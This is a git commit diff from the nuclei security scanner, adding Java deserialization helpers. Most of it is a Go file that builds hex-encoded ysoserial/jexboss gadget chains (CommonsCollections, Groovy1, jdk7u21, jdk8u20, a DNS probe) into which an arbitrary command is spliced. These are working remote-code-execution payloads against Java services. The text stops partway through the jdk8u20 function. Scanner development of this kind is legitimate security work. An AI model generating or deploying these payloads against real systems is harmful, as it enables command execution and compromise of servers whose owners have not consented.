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Started work on java deserialization helpers

dev
Ice3man543 2021-07-18 04:34:39 +05:30
parent d3f1d1d111
commit f903187df3
9 changed files with 238 additions and 17 deletions
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3
.gitignore vendored
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@ -5,3 +5,6 @@ integration_tests/integration-test
integration_tests/nuclei
v2/cmd/integration-test/integration-test
bin
v2/pkg/protocols/common/helpers/deserialization/testdata/Deserialize.class
v2/pkg/protocols/common/helpers/deserialization/testdata/ValueObject.class
v2/pkg/protocols/common/helpers/deserialization/testdata/ValueObject2.ser

1
v2/cmd/get-tags/main.go Normal file
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@ -0,0 +1 @@
package get_tags

18
v2/pkg/operators/common/dsl/dsl.go
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@ -1,7 +1,6 @@
package dsl
import (
"bytes"
"crypto/md5"
"crypto/sha1"
"crypto/sha256"
@ -17,6 +16,7 @@ import (
"time"
"github.com/Knetic/govaluate"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/helpers/deserialization"
"github.com/projectdiscovery/nuclei/v2/pkg/types"
"github.com/spaolacci/murmur3"
)
@ -96,7 +96,7 @@ func HelperFunctions() map[string]govaluate.ExpressionFunction {
// python encodes to base64 with lines of 76 bytes terminated by new line "\n"
functions["base64_py"] = func(args ...interface{}) (interface{}, error) {
sEnc := base64.StdEncoding.EncodeToString([]byte(types.ToString(args[0])))
return insertInto(sEnc, 76, '\n'), nil
return deserialization.InsertInto(sEnc, 76, '\n'), nil
}
functions["base64_decode"] = func(args ...interface{}) (interface{}, error) {
@ -293,17 +293,3 @@ func randSeq(base string, n int) string {
}
return string(b)
}
func insertInto(s string, interval int, sep rune) string {
var buffer bytes.Buffer
before := interval - 1
last := len(s) - 1
for i, char := range s {
buffer.WriteRune(char)
if i%interval == before && i != last {
buffer.WriteRune(sep)
}
}
buffer.WriteRune(sep)
return buffer.String()
}

2
v2/pkg/protocols/common/helpers/deserialization/deserialization.go Normal file
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@ -0,0 +1,2 @@
// Package deserialization implements helpers for deserialization issues in nuclei.
package deserialization

17
v2/pkg/protocols/common/helpers/deserialization/helpers.go Normal file
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@ -0,0 +1,17 @@
package deserialization
import "bytes"
func InsertInto(s string, interval int, sep rune) string {
var buffer bytes.Buffer
before := interval - 1
last := len(s) - 1
for i, char := range s {
buffer.WriteRune(char)
if i%interval == before && i != last {
buffer.WriteRune(sep)
}
}
buffer.WriteRune(sep)
return buffer.String()
}

156
v2/pkg/protocols/common/helpers/deserialization/java.go Normal file
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@ -0,0 +1,156 @@
package deserialization
import (
"bytes"
"compress/gzip"
"encoding/base64"
"encoding/hex"
"strings"
)
// Taken from: https://github.com/joaomatosf/jexboss/blob/master/_exploits.py
// All credits goes to original authors of the Jexboss Project.
// GenerateJavaGadget generates a gadget with a command and encoding.
// If blank, by default gadgets are returned base64 encoded.
func GenerateJavaGadget(gadget, cmd, encoding string) string {
var returnData []byte
switch gadget {
case "dns":
returnData = generateDNSPayload(cmd)
case "jdk7u21":
returnData = generatejdk7u21Payload(cmd)
case "jdk8u20":
returnData = generatejdk8u20Payload(cmd)
case "commons-collections3.1":
returnData = generateCommonsCollections31Payload(cmd)
case "commons-collections4.0":
returnData = generateCommonsCollections40Payload(cmd)
case "groovy1":
returnData = generateGroovy1Payload(cmd)
default:
return ""
}
if returnData == nil {
return ""
}
return gadgetEncodingHelper(returnData, encoding)
}
// gadgetEncodingHelper performs encoding of the generated gadget based on provided
// options.
func gadgetEncodingHelper(returnData []byte, encoding string) string {
switch encoding {
case "raw":
return string(returnData)
case "gzip":
buffer := &bytes.Buffer{}
if _, err := gzip.NewWriter(buffer).Write(returnData); err != nil {
return ""
}
return strings.ReplaceAll(base64.StdEncoding.EncodeToString(buffer.Bytes()), "+", "%2B")
default:
return strings.ReplaceAll(base64.StdEncoding.EncodeToString(returnData), "+", "%2B")
}
}
// generateCommonsCollections40Payload generates org.apache.commons:commons-collections4:4.0
// deserialization paylaod for a command.
func generateCommonsCollections40Payload(cmd string) []byte {
buffer := &bytes.Buffer{}
prefix, _ := hex.DecodeString("ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002E5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B78707572002E5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E5472616E73666F726D65723B39813AFB08DA3FA50200007870000000027372003C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B787076720037636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E5472415846696C746572000000000000000000000078707372003F6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E7374616E74696174655472616E73666F726D6572348BF47FA486D03B0200025B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C0200007870000000017372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00144C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E002000078700000068CCAFEBABE0000003100380A0003002207003607002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100")
buffer.Write(prefix)
//nolint // do not lint
buffer.WriteString(string(rune(len(cmd))))
buffer.WriteString(cmd)
suffix, _ := hex.DecodeString("08003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401001E79736F73657269616C2F50776E65723131353636353933373838363330390100204C79736F73657269616C2F50776E65723131353636353933373838363330393B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000002E000E0000000C000100000005000F003700000001001300140002000C0000003F0000000300000001B100000002000D00000006000100000033000E00000020000300000001000F0037000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D00000006000100000037000E0000002A000400000001000F003700000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C0000001B000300020000000FA70003014CB8002F1231B6003557B1000000000002002000000002002100110000000A000100020023001000097571007E001F000001D4CAFEBABE00000031001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A01002379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000003B000E0000000C000100000005000F001200000002001300000002001400110000000A000100020016001000097074000450776E727077010078757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000017672001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C6174657300000000000000000000007870770400000003737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000078700000000171007E002978")
buffer.Write(suffix)
return buffer.Bytes()
}
// generateCommonsCollections440PPayload generates commons-collections 3.1
// deserialization paylaod for a command.
func generateCommonsCollections31Payload(cmd string) []byte {
buffer := &bytes.Buffer{}
prefix, _ := hex.DecodeString("ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B787074002668747470733A2F2F6769746875622E636F6D2F6A6F616F6D61746F73662F6A6578626F7373207372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001B00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001B7371007E00137571007E001800000002707571007E001800000000740006696E766F6B657571007E001B00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E00187371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400")
buffer.Write(prefix)
//nolint // do not lint
buffer.WriteString(string(rune(len(cmd))))
buffer.WriteString(cmd)
suffix, _ := hex.DecodeString("740004657865637571007E001B0000000171007E00207371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878")
buffer.Write(suffix)
return buffer.Bytes()
}
// generateGroovy1Payload generates org.codehaus.groovy:groovy:2.3.9
// deserialization paylaod for a command.
func generateGroovy1Payload(cmd string) []byte {
buffer := &bytes.Buffer{}
prefix, _ := hex.DecodeString("ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372002C6F72672E636F6465686175732E67726F6F76792E72756E74696D652E436F6E766572746564436C6F7375726510233719F715DD1B0200014C000A6D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B7872002D6F72672E636F6465686175732E67726F6F76792E72756E74696D652E436F6E76657273696F6E48616E646C65721023371AD601BC1B0200024C000864656C65676174657400124C6A6176612F6C616E672F4F626A6563743B4C000B68616E646C6543616368657400284C6A6176612F7574696C2F636F6E63757272656E742F436F6E63757272656E74486173684D61703B7870737200296F72672E636F6465686175732E67726F6F76792E72756E74696D652E4D6574686F64436C6F73757265110E3E848FBDCE480200014C00066D6574686F6471007E00097872001367726F6F76792E6C616E672E436C6F737572653CA0C76616126C5A0200084900096469726563746976654900196D6178696D756D4E756D6265724F66506172616D657465727349000F7265736F6C766553747261746567794C000362637774003C4C6F72672F636F6465686175732F67726F6F76792F72756E74696D652F63616C6C736974652F426F6F6C65616E436C6F73757265577261707065723B4C000864656C656761746571007E000B4C00056F776E657271007E000B5B000E706172616D6574657254797065737400125B4C6A6176612F6C616E672F436C6173733B4C000A746869734F626A65637471007E000B7870000000000000000200000000707400")
buffer.Write(prefix)
//nolint // do not lint
buffer.WriteString(string(rune(len(cmd))))
buffer.WriteString(cmd)
suffix, _ := hex.DecodeString("71007E0013757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A99020000787000000002767200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B4702000078707672000C6A6176612E696F2E46696C65042DA4450E0DE4FF0300014C00047061746871007E000978707074000765786563757465737200266A6176612E7574696C2E636F6E63757272656E742E436F6E63757272656E74486173684D61706499DE129D87293D03000349000B7365676D656E744D61736B49000C7365676D656E7453686966745B00087365676D656E74737400315B4C6A6176612F7574696C2F636F6E63757272656E742F436F6E63757272656E74486173684D6170245365676D656E743B78700000000F0000001C757200315B4C6A6176612E7574696C2E636F6E63757272656E742E436F6E63757272656E74486173684D6170245365676D656E743B52773F41329B39740200007870000000107372002E6A6176612E7574696C2E636F6E63757272656E742E436F6E63757272656E74486173684D6170245365676D656E741F364C905893293D02000146000A6C6F6164466163746F72787200286A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E5265656E7472616E744C6F636B6655A82C2CC86AEB0200014C000473796E6374002F4C6A6176612F7574696C2F636F6E63757272656E742F6C6F636B732F5265656E7472616E744C6F636B2453796E633B7870737200346A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E5265656E7472616E744C6F636B244E6F6E6661697253796E63658832E7537BBF0B0200007872002D6A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E5265656E7472616E744C6F636B2453796E63B81EA294AA445A7C020000787200356A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E416273747261637451756575656453796E6368726F6E697A65726655A843753F52E30200014900057374617465787200366A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E41627374726163744F776E61626C6553796E6368726F6E697A657233DFAFB9AD6D6FA90200007870000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F400000707078740008656E747279536574767200126A6176612E6C616E672E4F7665727269646500000000000000000000007870")
buffer.Write(suffix)
return buffer.Bytes()
}
// generateDNSPayload generates DNS interaction deserialization paylaod for a DNS Name.
// Based on Gabriel Lawrence gadget
func generateDNSPayload(url string) []byte {
buffer := &bytes.Buffer{}
prefix, _ := hex.DecodeString("ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017372000C6A6176612E6E65742E55524C962537361AFCE47203000749000868617368436F6465490004706F72744C0009617574686F726974797400124C6A6176612F6C616E672F537472696E673B4C000466696C6571007E00034C0004686F737471007E00034C000870726F746F636F6C71007E00034C000372656671007E00037870FFFFFFFFFFFFFFFF7400")
buffer.Write(prefix)
//nolint // do not lint
buffer.WriteString(string(rune(len(url))))
buffer.WriteString(url)
suffix, _ := hex.DecodeString("74000071007E00057400056874747073707874001968747470733A2F2F746573742E6A6578626F73732E696E666F78")
buffer.Write(suffix)
return buffer.Bytes()
}
// generatejdk7u21Payload generates deserialization payload for jdk7.
// improved from frohoff version
func generatejdk7u21Payload(url string) []byte {
buffer := &bytes.Buffer{}
prefix, _ := hex.DecodeString("ACED0005737200176A6176612E7574696C2E4C696E6B656448617368536574D86CD75A95DD2A1E020000787200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000000000027372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000849000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785A00155F75736553657276696365734D656368616E69736D4C000B5F617578436C617373657374003B4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F486173687461626C653B5B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF0070757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E00200007870000006")
buffer.Write(prefix)
//nolint // do not lint
buffer.WriteString(string(rune(len(url) + 131)))
middle, _ := hex.DecodeString("CAFEBABE0000003100380A0003002207003607002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100")
buffer.Write(middle)
buffer.WriteString(url)
suffix, _ := hex.DecodeString("08003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401002179736F73657269616C2F4A6578426F7373323631343139333134303837383735390100234C79736F73657269616C2F4A6578426F7373323631343139333134303837383735393B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000002E000E0000000C000100000005000F003700000001001300140002000C0000003F0000000300000001B100000002000D00000006000100000033000E00000020000300000001000F0037000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D00000006000100000037000E0000002A000400000001000F003700000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C0000001B000300020000000FA70003014CB8002F1231B6003557B1000000000002002000000002002100110000000A000100020023001000097571007E000C000001D4CAFEBABE00000031001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A01002379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000003B000E0000000C000100000005000F001200000002001300000002001400110000000A00010002001600100009707400076A6578626F73737077010078737D00000001001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C61746573787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001740008663561356136303871007E0009787672001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C617465730000000000000000000000787078")
buffer.Write(suffix)
return buffer.Bytes()
}
// generatejdk8u20Payload generates deserialization payload for jdk8.
// improved from Alvaro (pwntester) version
func generatejdk8u20Payload(url string) []byte {
buffer := &bytes.Buffer{}
prefix, _ := hex.DecodeString("ACED0005737200176A6176612E7574696C2E4C696E6B656448617368536574D86CD75A95DD2A1E020000787200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000000000027372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000949000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785A00155F75736553657276696365734D656368616E69736D4C00195F61636365737345787465726E616C5374796C6573686565747400124C6A6176612F6C616E672F537472696E673B4C000B5F617578436C617373657374003B4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F486173687461626C653B5B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00054C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF00740003616C6C70757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E00200007870000006")
buffer.Write(prefix)
//nolint // do not lint
buffer.WriteString(string(rune(len(url) + 147)))
middle, _ := hex.DecodeString("CAFEBABE00000031003A0A0003002407003807002707002801001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100224C7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700290100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B0100236F72672E6E65746265616E732E536F757263654C6576656C416E6E6F746174696F6E730100144C6A6176612F6C616E672F4F766572726964653B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002A0100207574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01000C7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002C01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002E002F0A002D00300100")
buffer.Write(middle)
buffer.WriteString(url)
